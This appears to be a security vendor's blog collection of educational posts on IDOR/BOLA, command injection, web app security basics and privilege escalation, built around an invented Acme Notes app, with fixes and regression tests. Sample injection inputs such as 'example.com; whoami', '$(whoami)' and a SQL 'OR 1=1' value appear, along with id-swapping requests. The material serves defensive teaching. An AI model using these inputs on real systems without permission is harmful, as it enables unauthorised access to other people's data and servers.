Author: UnboundCompute

  • Teardown: how an IDOR quietly exposes another user’s data

    Teardown: how an IDOR quietly exposes another user’s data

    This is an idor example built from scratch so you can watch how one quietly exposes another user’s data. We will use an invented app called Acme Notes, map how it works, form an assumption about a weak spot, then test it with real requests. Nothing here touches a live system. The goal is to teach how the bug works and how to spot it before an attacker does.

    What an idor example actually is

    IDOR stands for insecure direct object reference. It happens when an app uses an id from the request to look up a record, but never checks that the person asking is allowed to see that record. The id is the direct object reference. When ownership is not verified, the reference becomes insecure. That gap is the whole bug.

    This bug is common for one reason. Developers think about authentication, who you are, far more than authorization, what you are allowed to touch. Acme Notes asks you to log in. It forgets to ask whether the note you requested is yours.

    An IDOR is rarely about a clever payload. It is the server trusting a number it should have checked.

    Step one: map the app like a researcher

    Before testing anything, understand how the app is meant to work. Acme Notes is a small notes tool. You sign in, you see a list of your notes, you click one to read it. Open the browser network tab and watch what the page sends. When you click a note, the front end makes this request:

    GET /api/notes/4012 HTTP/1.1
    Host: app.acmenotes.example
    Authorization: Bearer eyJhbGciOiJI (your token)
    Accept: application/json

    The server answers with the note as JSON:

    HTTP/1.1 200 OK
    Content-Type: application/json
    
    {
      "id": 4012,
      "owner_id": 88,
      "title": "Q3 launch checklist",
      "body": "Ship the billing page before Friday."
    }

    Two facts stand out. The note id, 4012, is a plain sequential number that sits right in the URL. The response also carries an owner_id. Your account is owner 88. So the app knows who owns the note. The question is whether it checks that ownership on every read.

    Step two: form the assumption

    Good testing starts with a guess you can prove or disprove. Here the assumption is direct: the server may load a note by id without confirming the requester owns it. Sequential ids make this worth testing, because note 4011 and note 4013 almost certainly belong to other users. If the server only checks your token and then trusts the id, you can read notes that are not yours.

    An attacker would form the same assumption. The difference is that a researcher tests it on an app they control or have permission to test, and reports it so it gets fixed.

    Step three: test by requesting a neighbouring id

    Keep your own valid login. Change only the id in the URL. Ask for the note next door:

    GET /api/notes/4011 HTTP/1.1
    Host: app.acmenotes.example
    Authorization: Bearer eyJhbGciOiJI (your token)
    Accept: application/json

    If the app is safe, you should get a refusal. Something like this:

    HTTP/1.1 403 Forbidden
    Content-Type: application/json
    
    { "error": "You do not have access to this note." }

    But Acme Notes is not safe. It returns the note in full:

    HTTP/1.1 200 OK
    Content-Type: application/json
    
    {
      "id": 4011,
      "owner_id": 73,
      "title": "Investor call notes",
      "body": "Runway is tight. Do not share outside the board."
    }

    Look at owner_id. It is 73, not 88. You are logged in as 88, yet the server handed you another user’s note. That is the bug, proven in one request.

    Step four: confirm it is real, not a guess

    One odd response is not proof. Before you call this a finding, rule out the boring explanations. A careful check answers a few questions.

    • Is the data really someone else’s? The owner_id in the response differs from your account id. Log in as a second test user, note their real id, and confirm the leaked note belongs to a third party, not to you under another label.
    • Does it repeat? Request 4010, 4009, 4008. If a range of ids you do not own all return 200 with full bodies, this is a pattern, not a fluke.
    • Is the token doing anything? Send the same request with no Authorization header. If that returns 401 but a valid token for the wrong user returns 200, the app checks login but not ownership. That is the exact shape of an IDOR.
    • Can you see the write side too? Try a read only method first. Only test edits or deletes on data you are allowed to change, so you never damage real records while confirming the issue.

    When the leaked owner id is consistently not yours, the behaviour repeats across a range, and a valid login is the only thing the server checks, you have evidence rather than a hunch. That is the line between a real finding and noise. For more on how access control bugs are grouped and tested, see access control.

    Step five: assess the impact

    Impact is about what an attacker can reach and how easily. In Acme Notes, ids are sequential and the endpoint returns full note bodies. A script can count from 1 upward and pull every note in the system in minutes. That turns one weak check into a full data exposure.

    Now widen the lens. The same pattern often appears on more than one route. If /api/notes/{id} is broken, test the siblings the same way:

    • /api/invoices/{id} for billing records
    • /api/users/{id}/profile for personal details
    • /api/files/{id}/download for attachments

    One missing ownership check is bad. The same check missing across several endpoints is how a small bug becomes a breach. This is why one confirmed finding is worth turning into a repeatable test, so the same gap cannot return on a new route later.

    How to fix an insecure direct object reference example

    The fix is not to hide the id or scramble it. Hiding the reference only slows an attacker down. The real fix is to check ownership on the server, on every request, every time.

    Check ownership at the data layer

    Bind the lookup to the logged in user. Instead of fetching a note by id alone, fetch it by id and owner together:

    -- weak: trusts the id from the request
    SELECT * FROM notes WHERE id = 4011;
    
    -- safe: ties the note to the caller
    SELECT * FROM notes
    WHERE id = 4011 AND owner_id = :current_user_id;

    If the second query returns no rows, the app returns a 404 or 403. The user never learns whether the note exists, so they cannot map your id space by probing.

    Centralise the rule and add a regression test

    Put the ownership check in one place that every route calls, not copied into each handler where one can be forgotten. Then write a test that logs in as user A, requests user B’s note, and fails the build if the response is anything but a refusal. That test is what keeps the bug from coming back during the next refactor.

    What to take away

    An IDOR is a trust mistake, not a complex exploit. The app trusts an id it should have checked against the logged in user. You find it by mapping the app, noticing a guessable reference like a sequential note id, assuming ownership might not be verified, and proving it with a single request that returns someone else’s data. You fix it by checking ownership on the server for every object, every time.

    This is exactly the kind of bug an autonomous researcher that tests an app’s assumptions is built to find, because it comes from understanding how the app should behave, not from matching a known payload. If that approach is useful to you, read more about UnboundCompute.

    Frequently asked questions

    What is an IDOR vulnerability?

    IDOR stands for insecure direct object reference. It happens when an app uses an id from the request to look up a record but never checks that the person asking is allowed to see that record, so the reference becomes insecure. It is common because developers think about authentication, who you are, far more than authorization, what you are allowed to touch. See PortSwigger on IDOR.

    How is an IDOR found in practice?

    You map the app and watch the requests, notice a guessable reference such as a sequential note id in a URL, and form the assumption that the server may load the record without confirming ownership. Then you keep your own valid login, change only the id to a neighbouring value, and see whether the server hands back a record that is not yours. The teardown uses an invented app called Acme Notes purely to illustrate this, not a real engagement.

    How do you confirm an IDOR is real and not a fluke?

    Rule out the boring explanations first. Check that the leaked owner_id really differs from your account, that a range of ids you do not own all return full bodies so it is a pattern, and that sending no Authorization header returns 401 while a wrong user’s valid token returns 200, which shows the app checks login but not ownership. Test read only methods so you never damage real records.

    How do you fix an IDOR?

    Do not just hide or scramble the id, since that only slows an attacker down. Bind the lookup to the logged in user, for example fetch a record by id and owner together so a non owner gets a 404 or 403, centralize that ownership check in one place every route calls, and add a regression test that requests another user’s record and fails the build on anything but a refusal. This class of weakness maps to CWE-639.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • How do hackers find vulnerabilities?

    How do hackers find vulnerabilities?

    Ask most people how do hackers find vulnerabilities and they picture a tool that scans an app and spits out a list of holes. That happens, but it is the weak version. The strongest finding comes from a person sitting with an app, working out how it is meant to behave, then probing the spot where that intent quietly breaks.

    How do hackers find vulnerabilities by reasoning, not just scanning

    A scanner fires a fixed set of payloads at every field it can see and waits for a known pattern in the response. It is fast and it catches old, well documented bugs. It is also blind to the logic of the app. It does not know that an account ID in a URL was never supposed to be editable, or that a coupon code should only apply once. A researcher does know, because the researcher first learns the rules.

    So the real process is closer to detective work than to button pushing. You map the app. You learn what it promises. You guess where those promises are enforced by hope instead of by code. Then you test that exact guess.

    The best bugs are not hidden. They sit in plain sight, in the gap between what the app assumes and what it actually checks.

    Step one: map the application

    Before any testing, you build a picture of the app. What pages exist, what actions they offer, what data they touch. You watch the network traffic while you click around as a normal user. Every request and response is a clue about how the backend is wired.

    Take an invented example, a notes app called Acme Notes. As you use it, you notice a request like this when you open one of your own notes:

    GET /api/notes/4812 HTTP/1.1
    Host: app.acmenotes.example
    Authorization: Bearer your_token_here

    That single line tells you a lot. Notes are addressed by a plain number. Your note is 4812. The obvious question follows on its own. What happens if you ask for note 4811?

    What you are looking for while mapping

    • Identifiers you can change. Numbers and slugs in URLs and request bodies, like user_id, order=1099, or file=report.pdf.
    • Hidden actions. Buttons that only admins see, but that may still call an endpoint anyone can reach.
    • State the app tracks. Cart totals, account balances, draft versus published flags, anything the app expects to control.
    • Trust boundaries. The line between what the browser sends and what the server is willing to believe.

    Step two: understand how it is meant to work

    This is the part scanners skip. You read the app the way its designers read it. A note belongs to one user. A user should see only their own notes. An order total should equal the sum of its items. A password reset link should work once and then die.

    Each of those sentences is a rule. Each rule is a promise the app makes. The interesting question is always the same. Is this promise enforced on the server, or only suggested by the screen?

    Step three: form ideas about where assumptions break

    Now you turn rules into guesses. A good guess is specific and testable. Vague suspicion gets you nowhere. Concrete bets get you findings.

    • The server checks that you are logged in, but maybe it never checks that note 4811 is yours.
    • The price comes from a hidden form field, so maybe the server trusts whatever price the browser sends.
    • The reset token is a short number, so maybe you can guess another user’s token.
    • The admin panel link is hidden in the menu, but maybe POST /api/admin/users answers anyone who calls it.

    Notice the shape of every guess. The app assumes something. You bet that the assumption is checked in the wrong place, or not at all.

    Step four: test inputs and access

    With a guess in hand, you design the smallest experiment that would prove it. For the Acme Notes guess, you keep your own valid login but change one number:

    GET /api/notes/4811 HTTP/1.1
    Host: app.acmenotes.example
    Authorization: Bearer your_token_here

    If the response is 403 Forbidden or 404 Not Found, the promise held. The app checked ownership. You move on. If the response is 200 OK and you are reading a stranger’s private note, you have found a broken access control bug, the kind often called an insecure direct object reference.

    The same habit applies to input. If a search box builds a database query, you send a value that would break out of the intended query and watch how the app reacts. If a file name is echoed into a page, you send a value that would run as script and see whether the app cleans it. You are always asking one thing. Does the server defend this, or did it assume nobody would try?

    Step five: confirm impact

    A surprising response is not yet a finding. A guess is not evidence. You confirm. You read another account’s data on purpose, then read a second one to show it was not a fluke. You change a price to 0 and complete a checkout to show money actually moved. You prove the bug does what you claim, with a clear request and response that anyone can repeat.

    This is where honest work separates itself from noise. A confirmed bug with a reproduction is something a team can fix today. A list of maybes from a scanner is something a team has to triage, often only to find that most entries are false alarms.

    Blind scanning versus reasoning about the app

    Both approaches exist, and they fail in different ways. The difference is worth keeping straight, which is why we wrote a whole piece on scanners versus research.

    • Blind scanning throws known payloads at everything and matches known patterns. It finds the bug everyone already knows about. It misses logic flaws because it never learns the logic.
    • Reasoning about the app learns the rules first, then targets the exact place a rule is likely unenforced. It finds the access control and business logic bugs that scanners walk straight past.

    You can sum up the whole method in five words. Understand, assume, experiment, verify, chain. Learn the app. Bet on a broken assumption. Run a small test. Prove the impact. Then see whether one bug opens the door to the next.

    Why this matters for defenders

    If you build software, the lesson points straight at your code. Attackers will model your app’s rules and then check, one by one, whether each rule is enforced on the server. So enforce them on the server. Check ownership on every object lookup, not just login. Recompute prices and totals from trusted data, never from the request. Treat every value from a browser as a claim to verify, not a fact to trust. It also helps to make yourself easy to reach when a researcher does find something: publishing a security.txt file gives them a clear contact for responsible disclosure, and our free security.txt generator and validator builds and checks one for you.

    Finding vulnerabilities, done well, is just disciplined curiosity about where an app’s assumptions and its checks part ways. This is exactly the kind of bug an autonomous researcher that tests assumptions is built to find, working through understand, assume, experiment, and verify on its own. You can read more about that approach on our about page.

    Frequently asked questions

    How do hackers actually find vulnerabilities?

    The strongest approach is closer to detective work than to running a tool. You map the app, learn the rules it promises to enforce, guess where a rule is checked by hope instead of by code, then run the smallest test that would prove your guess. A scanner is faster but blind to logic, so it finds known bugs and walks past access control and business logic flaws.

    What is the difference between scanning and reasoning about an app?

    Blind scanning throws known payloads at every field and matches known response patterns, which finds the bug everyone already knows about but misses anything that depends on the app’s logic. Reasoning about the app learns the rules first, then targets the exact place a rule is likely unenforced, which is how access control and logic bugs surface. The OWASP Web Security Testing Guide describes structured manual testing.

    What do researchers look for when mapping an application?

    Identifiers you can change like a numeric user_id or order=1099, hidden actions such as an admin only button that still calls a reachable endpoint, state the app tracks like cart totals and balances, and the trust boundary between what the browser sends and what the server is willing to believe. Each is a clue about how the backend is wired.

    Why is confirming impact a separate step?

    A surprising response is not yet a finding, because a guess is not evidence. You confirm by reproducing the issue on purpose, for example reading a second account’s data to show it was not a fluke, and presenting a clear request and response anyone can repeat. A confirmed bug is something a team can fix today, while a list of maybes only creates triage work.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • What is command injection? Examples explained

    What is command injection? Examples explained

    Command injection is one of the oldest and most dangerous web bugs, and it is also one of the easiest to understand once you see it in action. It happens when an app takes input from a user, drops that input into a system command, and runs the whole thing in a shell. If the app trusts the input too much, the user can append their own commands and make the server run them.

    What command injection means

    The short version of the command injection meaning is this: your app wanted to run one command, but the attacker tricked it into running two. The first is the command you intended. The second is whatever the attacker tacked on. The shell happily runs both because, to the shell, it is just text.

    The root cause is mixing two things that should stay apart: data (the value a user typed) and code (the command the server runs). When user data flows straight into a command string, the data can change what command runs. That is the whole bug in one sentence.

    The app meant to run one command. The attacker made it run two. The shell cannot tell your intent from their input, so it runs both.

    A simple command injection example

    Let us invent a small app called Acme Netcheck. It is a network tool with one feature: you give it a hostname, and it pings that host so you can see if the host is reachable. The form has one field named host, and the backend runs a ping for you.

    Here is the kind of code that causes the problem. This is written to show the mistake, not to copy:

    # DANGEROUS: user input goes straight into a shell command
    host = request.form["host"]
    command = "ping -c 1 " + host
    output = os.popen(command).read()
    return output
    

    If a normal user types example.com, the server builds and runs this:

    ping -c 1 example.com
    

    That works as intended. The trouble starts when someone types something that is not just a hostname. On a typical shell, a semicolon ends one command and starts another. So an attacker types this into the same field:

    example.com; whoami
    

    Now the server builds and runs this:

    ping -c 1 example.com; whoami
    

    The shell runs the ping, then runs whoami, and the app returns the output of both. The attacker just learned which user the web server runs as. They did not break into anything clever. They only added a semicolon and a second command to a field that was supposed to hold a hostname.

    Other command injection examples that work the same way

    The semicolon is one of several shell characters that chain or redirect commands. These all let an attacker smuggle a second command into a single input field:

    • example.com && whoami runs whoami only if the ping succeeds.
    • example.com | whoami pipes the first command into the second.
    • $(whoami) or `whoami` runs the inner command and pastes its result back in.

    These are command injection examples you will see again and again because the cause is identical every time: input was treated as part of a command instead of as plain text.

    Attackers often hide the second command so it slips past a quick glance in logs or a filter, wrapping it in base64 or another layer of encoding before the shell decodes and runs it. When you are staring at a suspicious payload like that, our free encoded payload deobfuscator peels back common encodings so you can read what the command was actually going to do.

    Why command injection is so serious

    With SQL injection, an attacker reaches your database. With command injection, the attacker reaches the operating system itself, running as whatever user your app runs as. That is a wider blast radius. Once they can run shell commands on your server, they can:

    • Read files the app can read, including config files and secrets like API keys and database passwords.
    • Reach other machines on the internal network that the server can talk to but you cannot reach from outside.
    • Install a backdoor or a reverse shell so they can come back later.

    A field meant to hold a hostname turned into full control of a server. That is why this bug class sits near the top of every serious security list.

    How to fix command injection

    The strongest fix is to stop building shell command strings out of user input. Most of the time you do not need a shell at all.

    Do not shell out when an API exists

    If you only need to read a file, use the file API in your language. If you need to make an HTTP request, use an HTTP library. Reaching for a shell command to do a job your language already does is the start of most of these bugs. No shell means no shell injection.

    If you must run a program, pass arguments as a list

    When you genuinely need to run an external program, call it directly and pass each argument as a separate list item instead of as one big string. Most languages support this. In Python it looks like this:

    # Safer: no shell, arguments passed as a list
    import subprocess
    host = request.form["host"]
    output = subprocess.run(
        ["ping", "-c", "1", host],
        capture_output=True, text=True
    ).stdout
    

    Here host is handed to ping as a single argument. There is no shell to interpret the semicolon, so example.com; whoami is passed to ping as one odd hostname, which fails to resolve. The second command never runs.

    Validate input with an allowlist

    Defense in depth helps too. Decide exactly what valid input looks like and reject everything else. For a hostname, you can allow only letters, digits, dots, and hyphens, and reject anything else before the value goes near a command:

    import re
    host = request.form["host"]
    if not re.fullmatch(r"[A-Za-z0-9.-]+", host):
        return "Invalid host", 400
    

    An allowlist describes what you accept. A blocklist tries to list every bad character and always misses some. Prefer the allowlist.

    Lower the impact when things go wrong

    Run the app as a low privilege user, not as root. Limit what that user can read and which machines it can reach. None of this fixes the bug, but it shrinks the damage if one slips through. You can read more patterns like this in our guide to injection and input bugs.

    How to spot it in your own code

    Search your codebase for the places where commands get run. Look for os.system, os.popen, subprocess calls with shell=True, backticks, exec, and eval. For each one, ask a single question: does any part of this command come from a request, a form, a URL, a header, or a file an outside user can influence? If yes, treat it as suspect and fix it with the steps above.

    Command injection survives because the dangerous code reads as harmless. Joining a string and running it looks fine in review. The bug only shows when someone tries the input you did not expect. This is exactly the kind of assumption an autonomous researcher that tests how an app really behaves is built to find. To see how we think about bugs like this, read more about UnboundCompute.

    Frequently asked questions

    What is command injection?

    It is a bug where user input flows into a system command that the server runs in a shell, so the user can append their own command and make the server run it. The root cause is mixing data, the value a user typed, with code, the command the server runs. See the OWASP command injection guide for more.

    How is command injection different from SQL injection?

    SQL injection reaches your database, while command injection reaches the operating system itself, running as whatever user the app runs as. That is a wider blast radius, because an attacker who can run shell commands can read config files and secrets, reach internal machines, and install a backdoor.

    How do you prevent command injection?

    The strongest fix is to avoid building shell command strings from user input at all, since most jobs have a direct API in your language. If you must run a program, call it directly and pass each argument as a separate list item, for example subprocess.run(["ping", "-c", "1", host]) in Python, so no shell interprets the input. Add an allowlist for the input and run the app as a low privilege user to limit damage.

    How do I find command injection in my own code?

    Search for places that run commands, such as os.system, os.popen, subprocess calls with shell=True, backticks, exec, and eval. For each one, ask whether any part of the command comes from a request, form, URL, header, or file an outside user can influence, and if so treat it as suspect. The matching weakness is tracked as CWE-78.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • What is web application security?

    What is web application security?

    Web application security is the practice of keeping the apps people use in a browser, and the APIs behind them, safe from misuse. It covers how an app handles input, who is allowed to do what, how it confirms who you are, how it is set up, and whether its business rules hold under pressure. If you are new to the topic, this is a friendly map of what web application security means and why it matters.

    What is web application security?

    An app does a lot of trusting. It trusts that a logged in user only requests their own data. It trusts that a price field really holds a number. It trusts that a hidden form value was not changed. Web application security is the work of checking those assumptions before an attacker does. When one of them is wrong, you get a bug that lets someone read another person’s records, skip a payment step, or run a query they were never meant to run.

    People sometimes ask “what is application security” as if it were one wall around the app. It is closer to many small checks spread across every request. A single weak check is enough. So the goal is not one strong defense, it is consistent ones.

    Why it matters

    Most apps now hold something worth taking: account data, messages, files, money movement, internal tools. The app is also the part of a system most exposed to the open internet. A mistake in one endpoint can reach real users in minutes. That is why teams treat security as part of building the app, not a step bolted on at the end.

    The strongest bugs come from understanding what an app assumes, then proving one of those assumptions is wrong.

    The main risk areas

    You do not need to memorize a long list of attack names to start. Most real issues fall into a handful of groups. Learn these groups and you can reason about a feature you have never seen before.

    Input handling

    An app reads input from forms, URLs, headers, and API bodies. Trouble starts when that input is passed into another system without care. A search box that drops raw text into a database query can become SQL injection. A comment field that echoes raw text back into the page can become cross site scripting. The fix is the same idea each time: treat input as data, never as code.

    POST /api/search
    { "q": "laptop' OR '1'='1" }

    If that q value reaches the database as part of the query string instead of a bound parameter, the trailing condition can change what rows come back. A parameterized query keeps the value as a value.

    Access control

    Access control answers one question: is this user allowed to do this thing, on this object, right now. It is the most common place apps go wrong. Picture an order page:

    GET /api/orders/1042

    If the server returns order 1042 just because you are logged in, and not because order 1042 is yours, then changing the number to 1041 hands you someone else’s order. This is called an insecure direct object reference. The lesson is plain: check ownership on the server for every request, not just in the menu the user sees. We go deeper on this in vulnerability basics.

    Authentication

    Authentication is how the app confirms you are who you claim to be. Weak points include passwords with no rate limit on guessing, session tokens that never expire, password reset links that can be reused, and tokens that leak in a URL. If those session tokens are JSON Web Tokens, our free JWT security inspector decodes one and flags a missing expiry, a weak algorithm, or secrets left in the payload. Authentication decides identity. Access control then decides what that identity may do. They are separate jobs and both must be right.

    Configuration

    Plenty of bugs are not in the code at all. They live in settings. A debug mode left on in production. An admin panel reachable without a login. Default credentials no one changed. An S3 bucket set to public. A verbose error page that prints a stack trace to anyone who triggers it. Configuration review asks a simple question for each setting: what does an outsider see, and is that what we intended. For the security headers an outsider sees on every response, our free security headers and CSP analyzer grades them in seconds.

    Business logic

    The last group is the trickiest because the code can be correct and the app can still be wrong. Logic flaws break the rules of the business, not the syntax of the language. An example:

    • A checkout applies a discount code. It never checks whether that code was already used.
    • So you apply the same code many times and drive the total to zero.
    • Every request is well formed. No injection, no broken auth. The flow just allows a thing it should forbid.

    Scanners rarely catch these, because there is no bad character to flag. You have to understand what the feature is for, then ask what happens at the edges: negative quantities, repeated steps, steps done out of order, two requests racing at once.

    How testing works at a high level

    Testing a web app for security is not one tool you run once. It is a few methods that fit together, each good at finding a different kind of problem.

    Static and dependency review

    Read the source and scan it for risky patterns: raw string queries, missing ownership checks, secrets committed to the repo. Separately, check the libraries the app pulls in, since a known flaw in a dependency is your flaw too. For the third party scripts you load from a CDN, pinning each file with a Subresource Integrity hash stops a tampered copy from running, and our free Subresource Integrity hash generator produces that attribute for you. This is cheap and catches a real share of issues early.

    Dynamic testing

    Run the app and send it crafted requests to watch how it responds. Change an ID. Drop a quote into a field. Replay a request without a login. Send a step out of order. The point is to learn how the app behaves when input does not match what the developer expected.

    Manual and assumption based testing

    A person, or an autonomous tester, studies how the app is meant to work, then forms ideas about where the logic could break, then designs a small experiment for each idea and proves the result with hard evidence. This is where the access control and logic bugs above tend to surface, because finding them needs an understanding of the app, not a fixed list of payloads.

    A note on proof. A guess that an endpoint “might” be broken is not useful. A confirmed finding, shown with a concrete request and response, is. Once a bug is verified, you can turn it into a repeatable check that watches for the same bug returning later.

    Where to go next

    Web application security is a wide field, but it starts with one habit: look at every assumption an app makes and ask what happens when it is false. Pick one risk area, find it in an app you know, and trace it through. That is the kind of bug an autonomous researcher that tests assumptions, not just known payloads, is built to find and verify. If you want to see how that approach works, read more about UnboundCompute.

    Frequently asked questions

    What is web application security in simple terms?

    It is the practice of keeping browser based apps and the APIs behind them safe by checking the assumptions an app makes before an attacker does. Most work falls into a few areas: input handling, access control, authentication, configuration, and business logic. A useful starting map is the OWASP Top 10.

    What are the main types of web application vulnerabilities?

    They group into a handful of families: input bugs like injection and cross site scripting, access control flaws such as reading another user’s record by changing an id, weak authentication, risky configuration like a debug mode left on, and business logic flaws where every request is valid but the flow allows something it should forbid. Learning the groups lets you reason about a feature you have never seen.

    Why do scanners miss business logic bugs?

    A scanner flags bad characters and known patterns, but a logic flaw has no bad character to catch. The code can be syntactically correct and the app still wrong, for example a discount code that can be reused to drive a total to zero. Finding these needs an understanding of what the feature is for, then testing the edges like repeated steps or steps done out of order.

    How do teams test a web app for security?

    They combine methods rather than running one tool. Static and dependency review reads the source and checks libraries, dynamic testing sends crafted requests to a running app, and assumption based testing studies how the app should work and then proves each idea with a concrete request and response. A confirmed finding with a reproduction is far more useful than a list of maybes.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • Broken object level authorization and IDOR, with examples

    Broken object level authorization and IDOR, with examples

    Broken object level authorization is the most common serious flaw in modern APIs, and it is easy to introduce by accident. The bug is simple to state: the server hands back an object because the request asked for it, without checking that the caller is allowed to see that specific object. This post explains broken object level authorization and its close cousin IDOR, shows a worked API example, and covers how to find the bug and how to fix it.

    What is broken object level authorization

    An API endpoint usually identifies a thing by an id. You ask for order 1001, the server looks up order 1001, and it returns the data. The missing step is the check that this order belongs to you. When that check is absent, any logged in user can read or change objects that belong to other users just by naming their ids. That is broken object level authorization.

    What is IDOR

    IDOR stands for insecure direct object reference. It is the older name for the same idea. A direct object reference is when the id in the request maps straight to a record in the database, like a row primary key. The reference is insecure when the server trusts it without an ownership check. So IDOR describes the exposed id, and broken object level authorization describes the missing check behind it. In practice people use the two terms for the same class of bug.

    The id in the URL tells the server which object to fetch. It must never decide who is allowed to fetch it.

    A broken object level authorization example

    Take an invented app, Acme Notes, that lets people place orders. A signed in user opens their order history and the browser calls this endpoint.

    GET /api/orders/1001
    Authorization: Bearer eyJhbGc...tokenForUserA
    
    200 OK
    {
      "id": 1001,
      "user_id": 42,
      "total": "38.00",
      "shipping_address": "12 Oak Street, Apt 4",
      "items": ["Notebook", "Pen set"]
    }

    The user owns order 1001, so this response is correct. Now they change one digit in the URL and send the same token.

    GET /api/orders/1002
    Authorization: Bearer eyJhbGc...tokenForUserA
    
    200 OK
    {
      "id": 1002,
      "user_id": 77,
      "total": "210.00",
      "shipping_address": "98 Pine Avenue",
      "items": ["Desk lamp", "Monitor stand"]
    }

    Order 1002 belongs to user_id 77, a different person. User A is still authenticated, and the server still returned the record. The token proved who the caller is. Nothing proved the caller owns this order. That gap is the whole bug. By walking the ids from /api/orders/1000 upward, the same caller can read every order in the system, including names, addresses, and totals.

    It is not only reads

    The same gap applies to writes. If the app exposes PATCH /api/orders/1002 or DELETE /api/orders/1002 with no ownership check, a user can edit or delete another person’s order. A profile endpoint like PUT /api/users/77/email with the same flaw lets an attacker take over an account by changing its recovery email. The id can also live in a request body or a query string, not just the path, so {"invoice_id": 1002} deserves the same scrutiny as a URL.

    Why APIs are especially prone to this

    Server rendered web apps often built one page that already filtered records to the current user. APIs split that into many small endpoints, and each one fetches objects by id on its own. Every endpoint becomes a separate place where the ownership check can be forgotten. A few reasons this class of bug keeps appearing:

    • Object ids are visible and guessable. Sequential integers like 1001 and 1002 advertise that 1003 exists. Even random ids do not fix the bug, they only make it harder to find by guessing.
    • The check is per object, not per route. Login and role checks happen once at the edge. Object ownership has to be checked on every single fetch, and it is easy to miss one endpoint out of fifty.
    • Frameworks do not add it for you. Most routing layers confirm the user is logged in. Very few know that order 1002 must belong to the caller. That logic is yours to write.
    • Nested and indirect references multiply the surface. Endpoints like /api/users/42/orders/1001/items/9 have several ids, and a check on one does not cover the others.

    How to detect it

    You find this bug by behaving like a real user with two accounts, then asking whether one account can reach the other’s objects.

    • Create two test users. Sign in as user A and as user B. Note the object ids that belong to each.
    • Swap the ids. While logged in as A, request B’s objects: change /api/orders/1001 to B’s /api/orders/1002 with A’s token. A correct server returns 403 Forbidden or 404 Not Found. A 200 OK with B’s data is the finding.
    • Repeat for every verb. Try GET, then PATCH, PUT, and DELETE on the same id. Read access and write access fail separately.
    • Check ids in every position. Path, query string, JSON body, and headers can all carry an object reference.
    • Watch for indirect leaks. A list endpoint, a search result, or an export job can hand back objects the caller should not see, even when the direct fetch is locked down.

    This is hard to catch with a scanner that only matches known payloads, because there is no payload. The request is well formed and the id is valid. Finding it means understanding what each object is, who should own it, and then testing that assumption directly. More on access control bugs is here.

    The fix: authorize every object on the server

    The cure is one rule applied everywhere: before returning or changing an object, confirm the authenticated caller is allowed to act on that exact object. Do this on the server, in the data layer, not in the client.

    The earlier example is fixed by scoping the lookup to the caller. Instead of fetching by id alone, fetch by id and owner together.

    def get_order(order_id, current_user):
        order = db.orders.find_one(
            id=order_id,
            user_id=current_user.id,   # ownership is part of the query
        )
        if order is None:
            return Response(status=404)
        return Response(order)

    Now order 1002 is invisible to user A, because the query asks for an order with that id that also belongs to A. Some practices that make this reliable across a whole codebase:

    • Scope queries to the owner by default. Filter by tenant or user id in the data access layer so an unscoped lookup is the exception, not the norm.
    • Centralize the check. Put authorization in one policy function each endpoint calls, so the rule is written once and reused, not copied and forgotten.
    • Return 404 for objects the caller cannot access. A 403 confirms the object exists. A 404 reveals less.
    • Do not rely on hard to guess ids alone. Random UUIDs reduce guessing, but the server must still check ownership. Obscurity is not authorization.
    • Write a test per endpoint. For each object route, add a test where user A requests user B’s object and asserts the response is denied. This keeps the bug from coming back.

    Broken object level authorization is a logic bug, not a string in a payload. Finding it means knowing what each object is, who should own it, and then proving the server agrees, which is exactly the kind of assumption an autonomous researcher that tests application logic is built to check. Read more about how UnboundCompute works.

    Frequently asked questions

    What is broken object level authorization?

    Broken object level authorization is when the server hands back an object because the request asked for it, without checking that the caller is allowed to see that specific object. Any logged in user can then read or change objects that belong to other users just by naming their ids. See the OWASP API Security entry on this flaw.

    What is the difference between IDOR and broken object level authorization?

    They describe the same class of bug from two angles. IDOR, insecure direct object reference, is the older name and points at the exposed id that maps straight to a database record, while broken object level authorization names the missing ownership check behind it. In practice people use the terms interchangeably.

    How do you test for an IDOR or broken object level authorization bug?

    Create two test users, then while signed in as user A request user B’s objects by swapping the id, for example changing /api/orders/1001 to B’s /api/orders/1002 with A’s token. A 403 or 404 is correct, while a 200 OK with B’s data is the finding. Repeat for GET, PATCH, PUT, and DELETE, since read and write access fail separately.

    How do you fix broken object level authorization?

    Before returning or changing an object, confirm the authenticated caller is allowed to act on that exact object, on the server and in the data layer. Scope the lookup to the owner by fetching by id and user id together, centralize the check in one policy function, and do not rely on hard to guess ids alone since obscurity is not authorization.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • What is privilege escalation? Examples explained

    What is privilege escalation? Examples explained

    Most web apps decide what you can see and do based on who you are. When an attacker breaks that decision and gains rights they were never granted, that is privilege escalation. It is one of the most common and most damaging classes of bug in modern web apps, and it usually hides in plain sight inside ordinary features.

    The good news is that the idea is simple once you see a few examples. Below we walk through what the bug looks like, the two main flavors, and how to spot and stop it in your own app.

    What is privilege escalation?

    Privilege escalation happens when a user performs an action or reads data that their account should not be allowed to touch. The app trusts the request without checking, on the server, whether this specific user is allowed. The attacker does not break the login. They log in as themselves and then reach further than their account permits.

    Think about a typical SaaS app we will call Acme Notes. Every user has a role, and every note has an owner. The rules are clear on paper. A regular member can edit their own notes. An admin can manage every account. Privilege escalation is what happens when the code never enforces those rules on each request.

